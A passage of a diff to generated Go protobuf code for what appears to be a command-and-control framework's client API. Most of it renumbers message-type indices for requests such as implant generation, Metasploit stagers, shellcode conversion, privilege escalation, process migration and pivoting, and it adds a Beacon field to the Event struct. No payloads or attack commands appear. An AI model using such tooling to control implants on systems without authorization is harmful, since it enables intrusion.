&file_clientpb_client_proto_msgTypes[45] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -4439,7 +4961,7 @@ func (x *HTTPListenerReq) ProtoReflect() protoreflect.Message { // Deprecated: Use HTTPListenerReq.ProtoReflect.Descriptor instead. func (*HTTPListenerReq) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{38} + return file_clientpb_client_proto_rawDescGZIP(), []int{45} } func (x *HTTPListenerReq) GetDomain() string { @@ -4539,7 +5061,7 @@ type NamedPipesReq struct { func (x *NamedPipesReq) Reset() { *x = NamedPipesReq{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[39] + mi := &file_clientpb_client_proto_msgTypes[46] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -4552,7 +5074,7 @@ func (x *NamedPipesReq) String() string { func (*NamedPipesReq) ProtoMessage() {} func (x *NamedPipesReq) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[39] + mi := &file_clientpb_client_proto_msgTypes[46] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -4565,7 +5087,7 @@ func (x *NamedPipesReq) ProtoReflect() protoreflect.Message { // Deprecated: Use NamedPipesReq.ProtoReflect.Descriptor instead. func (*NamedPipesReq) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{39} + return file_clientpb_client_proto_rawDescGZIP(), []int{46} } func (x *NamedPipesReq) GetPipeName() string { @@ -4595,7 +5117,7 @@ type NamedPipes struct { func (x *NamedPipes) Reset() { *x = NamedPipes{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[40] + mi := &file_clientpb_client_proto_msgTypes[47] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -4608,7 +5130,7 @@ func (x *NamedPipes) String() string { func (*NamedPipes) ProtoMessage() {} func (x *NamedPipes) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[40] + mi := &file_clientpb_client_proto_msgTypes[47] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -4621,7 +5143,7 @@ func (x *NamedPipes) ProtoReflect() protoreflect.Message { // Deprecated: Use NamedPipes.ProtoReflect.Descriptor instead. func (*NamedPipes) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{40} + return file_clientpb_client_proto_rawDescGZIP(), []int{47} } func (x *NamedPipes) GetSuccess() bool { @@ -4658,7 +5180,7 @@ type TCPPivotReq struct { func (x *TCPPivotReq) Reset() { *x = TCPPivotReq{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[41] + mi := &file_clientpb_client_proto_msgTypes[48] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -4671,7 +5193,7 @@ func (x *TCPPivotReq) String() string { func (*TCPPivotReq) ProtoMessage() {} func (x *TCPPivotReq) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[41] + mi := &file_clientpb_client_proto_msgTypes[48] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -4684,7 +5206,7 @@ func (x *TCPPivotReq) ProtoReflect() protoreflect.Message { // Deprecated: Use TCPPivotReq.ProtoReflect.Descriptor instead. func (*TCPPivotReq) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{41} + return file_clientpb_client_proto_rawDescGZIP(), []int{48} } func (x *TCPPivotReq) GetAddress() string { @@ -4714,7 +5236,7 @@ type TCPPivot struct { func (x *TCPPivot) Reset() { *x = TCPPivot{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[42] + mi := &file_clientpb_client_proto_msgTypes[49] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -4727,7 +5249,7 @@ func (x *TCPPivot) String() string { func (*TCPPivot) ProtoMessage() {} func (x *TCPPivot) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[42] + mi := &file_clientpb_client_proto_msgTypes[49] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -4740,7 +5262,7 @@ func (x *TCPPivot) ProtoReflect() protoreflect.Message { // Deprecated: Use TCPPivot.ProtoReflect.Descriptor instead. func (*TCPPivot) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{42} + return file_clientpb_client_proto_rawDescGZIP(), []int{49} } func (x *TCPPivot) GetSuccess() bool { @@ -4776,7 +5298,7 @@ type Sessions struct { func (x *Sessions) Reset() { *x = Sessions{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[43] + mi := &file_clientpb_client_proto_msgTypes[50] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -4789,7 +5311,7 @@ func (x *Sessions) String() string { func (*Sessions) ProtoMessage() {} func (x *Sessions) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[43] + mi := &file_clientpb_client_proto_msgTypes[50] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -4802,7 +5324,7 @@ func (x *Sessions) ProtoReflect() protoreflect.Message { // Deprecated: Use Sessions.ProtoReflect.Descriptor instead. func (*Sessions) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{43} + return file_clientpb_client_proto_rawDescGZIP(), []int{50} } func (x *Sessions) GetSessions() []*Session { @@ -4825,7 +5347,7 @@ type RenameReq struct { func (x *RenameReq) Reset() { *x = RenameReq{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[44] + mi := &file_clientpb_client_proto_msgTypes[51] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -4838,7 +5360,7 @@ func (x *RenameReq) String() string { func (*RenameReq) ProtoMessage() {} func (x *RenameReq) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[44] + mi := &file_clientpb_client_proto_msgTypes[51] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -4851,7 +5373,7 @@ func (x *RenameReq) ProtoReflect() protoreflect.Message { // Deprecated: Use RenameReq.ProtoReflect.Descriptor instead. func (*RenameReq) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{44} + return file_clientpb_client_proto_rawDescGZIP(), []int{51} } func (x *RenameReq) GetSessionID() string { @@ -4887,7 +5409,7 @@ type GenerateReq struct { func (x *GenerateReq) Reset() { *x = GenerateReq{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[45] + mi := &file_clientpb_client_proto_msgTypes[52] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -4900,7 +5422,7 @@ func (x *GenerateReq) String() string { func (*GenerateReq) ProtoMessage() {} func (x *GenerateReq) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[45] + mi := &file_clientpb_client_proto_msgTypes[52] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -4913,7 +5435,7 @@ func (x *GenerateReq) ProtoReflect() protoreflect.Message { // Deprecated: Use GenerateReq.ProtoReflect.Descriptor instead. func (*GenerateReq) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{45} + return file_clientpb_client_proto_rawDescGZIP(), []int{52} } func (x *GenerateReq) GetConfig() *ImplantConfig { @@ -4948,7 +5470,7 @@ type GenerateStageReq struct { func (x *GenerateStageReq) Reset() { *x = GenerateStageReq{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[46] + mi := &file_clientpb_client_proto_msgTypes[53] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -4961,7 +5483,7 @@ func (x *GenerateStageReq) String() string { func (*GenerateStageReq) ProtoMessage() {} func (x *GenerateStageReq) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[46] + mi := &file_clientpb_client_proto_msgTypes[53] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -4974,7 +5496,7 @@ func (x *GenerateStageReq) ProtoReflect() protoreflect.Message { // Deprecated: Use GenerateStageReq.ProtoReflect.Descriptor instead. func (*GenerateStageReq) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{46} + return file_clientpb_client_proto_rawDescGZIP(), []int{53} } func (x *GenerateStageReq) GetProfile() string { @@ -5044,7 +5566,7 @@ type Generate struct { func (x *Generate) Reset() { *x = Generate{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[47] + mi := &file_clientpb_client_proto_msgTypes[54] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -5057,7 +5579,7 @@ func (x *Generate) String() string { func (*Generate) ProtoMessage() {} func (x *Generate) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[47] + mi := &file_clientpb_client_proto_msgTypes[54] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -5070,7 +5592,7 @@ func (x *Generate) ProtoReflect() protoreflect.Message { // Deprecated: Use Generate.ProtoReflect.Descriptor instead. func (*Generate) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{47} + return file_clientpb_client_proto_rawDescGZIP(), []int{54} } func (x *Generate) GetFile() *commonpb.File { @@ -5096,7 +5618,7 @@ type MSFReq struct { func (x *MSFReq) Reset() { *x = MSFReq{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[48] + mi := &file_clientpb_client_proto_msgTypes[55] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -5109,7 +5631,7 @@ func (x *MSFReq) String() string { func (*MSFReq) ProtoMessage() {} func (x *MSFReq) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[48] + mi := &file_clientpb_client_proto_msgTypes[55] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -5122,7 +5644,7 @@ func (x *MSFReq) ProtoReflect() protoreflect.Message { // Deprecated: Use MSFReq.ProtoReflect.Descriptor instead. func (*MSFReq) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{48} + return file_clientpb_client_proto_rawDescGZIP(), []int{55} } func (x *MSFReq) GetPayload() string { @@ -5184,7 +5706,7 @@ type MSFRemoteReq struct { func (x *MSFRemoteReq) Reset() { *x = MSFRemoteReq{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[49] + mi := &file_clientpb_client_proto_msgTypes[56] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -5197,7 +5719,7 @@ func (x *MSFRemoteReq) String() string { func (*MSFRemoteReq) ProtoMessage() {} func (x *MSFRemoteReq) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[49] + mi := &file_clientpb_client_proto_msgTypes[56] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -5210,7 +5732,7 @@ func (x *MSFRemoteReq) ProtoReflect() protoreflect.Message { // Deprecated: Use MSFRemoteReq.ProtoReflect.Descriptor instead. func (*MSFRemoteReq) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{49} + return file_clientpb_client_proto_rawDescGZIP(), []int{56} } func (x *MSFRemoteReq) GetPayload() string { @@ -5280,7 +5802,7 @@ type StagerListenerReq struct { func (x *StagerListenerReq) Reset() { *x = StagerListenerReq{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[50] + mi := &file_clientpb_client_proto_msgTypes[57] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -5293,7 +5815,7 @@ func (x *StagerListenerReq) String() string { func (*StagerListenerReq) ProtoMessage() {} func (x *StagerListenerReq) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[50] + mi := &file_clientpb_client_proto_msgTypes[57] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -5306,7 +5828,7 @@ func (x *StagerListenerReq) ProtoReflect() protoreflect.Message { // Deprecated: Use StagerListenerReq.ProtoReflect.Descriptor instead. func (*StagerListenerReq) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{50} + return file_clientpb_client_proto_rawDescGZIP(), []int{57} } func (x *StagerListenerReq) GetProtocol() StageProtocol { @@ -5376,7 +5898,7 @@ type StagerListener struct { func (x *StagerListener) Reset() { *x = StagerListener{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[51] + mi := &file_clientpb_client_proto_msgTypes[58] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -5389,7 +5911,7 @@ func (x *StagerListener) String() string { func (*StagerListener) ProtoMessage() {} func (x *StagerListener) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[51] + mi := &file_clientpb_client_proto_msgTypes[58] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -5402,7 +5924,7 @@ func (x *StagerListener) ProtoReflect() protoreflect.Message { // Deprecated: Use StagerListener.ProtoReflect.Descriptor instead. func (*StagerListener) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{51} + return file_clientpb_client_proto_rawDescGZIP(), []int{58} } func (x *StagerListener) GetJobID() uint32 { @@ -5425,7 +5947,7 @@ type ShellcodeRDIReq struct { func (x *ShellcodeRDIReq) Reset() { *x = ShellcodeRDIReq{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[52] + mi := &file_clientpb_client_proto_msgTypes[59] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -5438,7 +5960,7 @@ func (x *ShellcodeRDIReq) String() string { func (*ShellcodeRDIReq) ProtoMessage() {} func (x *ShellcodeRDIReq) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[52] + mi := &file_clientpb_client_proto_msgTypes[59] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -5451,7 +5973,7 @@ func (x *ShellcodeRDIReq) ProtoReflect() protoreflect.Message { // Deprecated: Use ShellcodeRDIReq.ProtoReflect.Descriptor instead. func (*ShellcodeRDIReq) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{52} + return file_clientpb_client_proto_rawDescGZIP(), []int{59} } func (x *ShellcodeRDIReq) GetData() []byte { @@ -5486,7 +6008,7 @@ type ShellcodeRDI struct { func (x *ShellcodeRDI) Reset() { *x = ShellcodeRDI{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[53] + mi := &file_clientpb_client_proto_msgTypes[60] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -5499,7 +6021,7 @@ func (x *ShellcodeRDI) String() string { func (*ShellcodeRDI) ProtoMessage() {} func (x *ShellcodeRDI) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[53] + mi := &file_clientpb_client_proto_msgTypes[60] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -5512,7 +6034,7 @@ func (x *ShellcodeRDI) ProtoReflect() protoreflect.Message { // Deprecated: Use ShellcodeRDI.ProtoReflect.Descriptor instead. func (*ShellcodeRDI) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{53} + return file_clientpb_client_proto_rawDescGZIP(), []int{60} } func (x *ShellcodeRDI) GetData() []byte { @@ -5541,7 +6063,7 @@ type MsfStagerReq struct { func (x *MsfStagerReq) Reset() { *x = MsfStagerReq{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[54] + mi := &file_clientpb_client_proto_msgTypes[61] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -5554,7 +6076,7 @@ func (x *MsfStagerReq) String() string { func (*MsfStagerReq) ProtoMessage() {} func (x *MsfStagerReq) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[54] + mi := &file_clientpb_client_proto_msgTypes[61] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -5567,7 +6089,7 @@ func (x *MsfStagerReq) ProtoReflect() protoreflect.Message { // Deprecated: Use MsfStagerReq.ProtoReflect.Descriptor instead. func (*MsfStagerReq) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{54} + return file_clientpb_client_proto_rawDescGZIP(), []int{61} } func (x *MsfStagerReq) GetArch() string { @@ -5644,7 +6166,7 @@ type MsfStager struct { func (x *MsfStager) Reset() { *x = MsfStager{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[55] + mi := &file_clientpb_client_proto_msgTypes[62] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -5657,7 +6179,7 @@ func (x *MsfStager) String() string { func (*MsfStager) ProtoMessage() {} func (x *MsfStager) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[55] + mi := &file_clientpb_client_proto_msgTypes[62] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -5670,7 +6192,7 @@ func (x *MsfStager) ProtoReflect() protoreflect.Message { // Deprecated: Use MsfStager.ProtoReflect.Descriptor instead. func (*MsfStager) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{55} + return file_clientpb_client_proto_rawDescGZIP(), []int{62} } func (x *MsfStager) GetFile() *commonpb.File { @@ -5697,7 +6219,7 @@ type GetSystemReq struct { func (x *GetSystemReq) Reset() { *x = GetSystemReq{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[56] + mi := &file_clientpb_client_proto_msgTypes[63] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -5710,7 +6232,7 @@ func (x *GetSystemReq) String() string { func (*GetSystemReq) ProtoMessage() {} func (x *GetSystemReq) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[56] + mi := &file_clientpb_client_proto_msgTypes[63] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -5723,7 +6245,7 @@ func (x *GetSystemReq) ProtoReflect() protoreflect.Message { // Deprecated: Use GetSystemReq.ProtoReflect.Descriptor instead. func (*GetSystemReq) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{56} + return file_clientpb_client_proto_rawDescGZIP(), []int{63} } func (x *GetSystemReq) GetHostingProcess() string { @@ -5772,7 +6294,7 @@ type MigrateReq struct { func (x *MigrateReq) Reset() { *x = MigrateReq{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[57] + mi := &file_clientpb_client_proto_msgTypes[64] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -5785,7 +6307,7 @@ func (x *MigrateReq) String() string { func (*MigrateReq) ProtoMessage() {} func (x *MigrateReq) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[57] + mi := &file_clientpb_client_proto_msgTypes[64] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -5798,7 +6320,7 @@ func (x *MigrateReq) ProtoReflect() protoreflect.Message { // Deprecated: Use MigrateReq.ProtoReflect.Descriptor instead. func (*MigrateReq) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{57} + return file_clientpb_client_proto_rawDescGZIP(), []int{64} } func (x *MigrateReq) GetPid() uint32 { @@ -5848,7 +6370,7 @@ type CreateTunnelReq struct { func (x *CreateTunnelReq) Reset() { *x = CreateTunnelReq{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[58] + mi := &file_clientpb_client_proto_msgTypes[65] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -5861,7 +6383,7 @@ func (x *CreateTunnelReq) String() string { func (*CreateTunnelReq) ProtoMessage() {} func (x *CreateTunnelReq) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[58] + mi := &file_clientpb_client_proto_msgTypes[65] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -5874,7 +6396,7 @@ func (x *CreateTunnelReq) ProtoReflect() protoreflect.Message { // Deprecated: Use CreateTunnelReq.ProtoReflect.Descriptor instead. func (*CreateTunnelReq) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{58} + return file_clientpb_client_proto_rawDescGZIP(), []int{65} } func (x *CreateTunnelReq) GetRequest() *commonpb.Request { @@ -5896,7 +6418,7 @@ type CreateTunnel struct { func (x *CreateTunnel) Reset() { *x = CreateTunnel{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[59] + mi := &file_clientpb_client_proto_msgTypes[66] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -5909,7 +6431,7 @@ func (x *CreateTunnel) String() string { func (*CreateTunnel) ProtoMessage() {} func (x *CreateTunnel) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[59] + mi := &file_clientpb_client_proto_msgTypes[66] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -5922,7 +6444,7 @@ func (x *CreateTunnel) ProtoReflect() protoreflect.Message { // Deprecated: Use CreateTunnel.ProtoReflect.Descriptor instead. func (*CreateTunnel) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{59} + return file_clientpb_client_proto_rawDescGZIP(), []int{66} } func (x *CreateTunnel) GetSessionID() uint32 { @@ -5951,7 +6473,7 @@ type CloseTunnelReq struct { func (x *CloseTunnelReq) Reset() { *x = CloseTunnelReq{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[60] + mi := &file_clientpb_client_proto_msgTypes[67] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -5964,7 +6486,7 @@ func (x *CloseTunnelReq) String() string { func (*CloseTunnelReq) ProtoMessage() {} func (x *CloseTunnelReq) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[60] + mi := &file_clientpb_client_proto_msgTypes[67] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -5977,7 +6499,7 @@ func (x *CloseTunnelReq) ProtoReflect() protoreflect.Message { // Deprecated: Use CloseTunnelReq.ProtoReflect.Descriptor instead. func (*CloseTunnelReq) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{60} + return file_clientpb_client_proto_rawDescGZIP(), []int{67} } func (x *CloseTunnelReq) GetTunnelID() uint64 { @@ -6009,7 +6531,7 @@ type PivotGraphEntry struct { func (x *PivotGraphEntry) Reset() { *x = PivotGraphEntry{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[61] + mi := &file_clientpb_client_proto_msgTypes[68] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -6022,7 +6544,7 @@ func (x *PivotGraphEntry) String() string { func (*PivotGraphEntry) ProtoMessage() {} func (x *PivotGraphEntry) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[61] + mi := &file_clientpb_client_proto_msgTypes[68] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -6035,7 +6557,7 @@ func (x *PivotGraphEntry) ProtoReflect() protoreflect.Message { // Deprecated: Use PivotGraphEntry.ProtoReflect.Descriptor instead. func (*PivotGraphEntry) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{61} + return file_clientpb_client_proto_rawDescGZIP(), []int{68} } func (x *PivotGraphEntry) GetPeerID() int64 { @@ -6077,7 +6599,7 @@ type PivotGraph struct { func (x *PivotGraph) Reset() { *x = PivotGraph{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[62] + mi := &file_clientpb_client_proto_msgTypes[69] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -6090,7 +6612,7 @@ func (x *PivotGraph) String() string { func (*PivotGraph) ProtoMessage() {} func (x *PivotGraph) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[62] + mi := &file_clientpb_client_proto_msgTypes[69] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -6103,7 +6625,7 @@ func (x *PivotGraph) ProtoReflect() protoreflect.Message { // Deprecated: Use PivotGraph.ProtoReflect.Descriptor instead. func (*PivotGraph) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{62} + return file_clientpb_client_proto_rawDescGZIP(), []int{69} } func (x *PivotGraph) GetChildren() []*PivotGraphEntry { @@ -6127,7 +6649,7 @@ type Client struct { func (x *Client) Reset() { *x = Client{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[63] + mi := &file_clientpb_client_proto_msgTypes[70] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -6140,7 +6662,7 @@ func (x *Client) String() string { func (*Client) ProtoMessage() {} func (x *Client) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[63] + mi := &file_clientpb_client_proto_msgTypes[70] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -6153,7 +6675,7 @@ func (x *Client) ProtoReflect() protoreflect.Message { // Deprecated: Use Client.ProtoReflect.Descriptor instead. func (*Client) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{63} + return file_clientpb_client_proto_rawDescGZIP(), []int{70} } func (x *Client) GetID() uint32 { @@ -6184,16 +6706,17 @@ type Event struct { EventType string `protobuf:"bytes,1,opt,name=EventType,proto3" json:"EventType,omitempty"` Session *Session `protobuf:"bytes,2,opt,name=Session,proto3" json:"Session,omitempty"` - Job *Job `protobuf:"bytes,3,opt,name=Job,proto3" json:"Job,omitempty"` - Client *Client `protobuf:"bytes,4,opt,name=Client,proto3" json:"Client,omitempty"` - Data []byte `protobuf:"bytes,5,opt,name=Data,proto3" json:"Data,omitempty"` - Err string `protobuf:"bytes,6,opt,name=Err,proto3" json:"Err,omitempty"` // Can't trigger normal gRPC error + Beacon *Beacon `protobuf:"bytes,3,opt,name=Beacon,proto3" json:"Beacon,omitempty"` + Job *Job `protobuf:"bytes,4,opt,name=Job,proto3" json:"Job,omitempty"` + Client *Client `protobuf:"bytes,5,opt,name=Client,proto3" json:"Client,omitempty"` + Data []byte `protobuf:"bytes,6,opt,name=Data,proto3" json:"Data,omitempty"` + Err string `protobuf:"bytes,7,opt,name=Err,proto3" 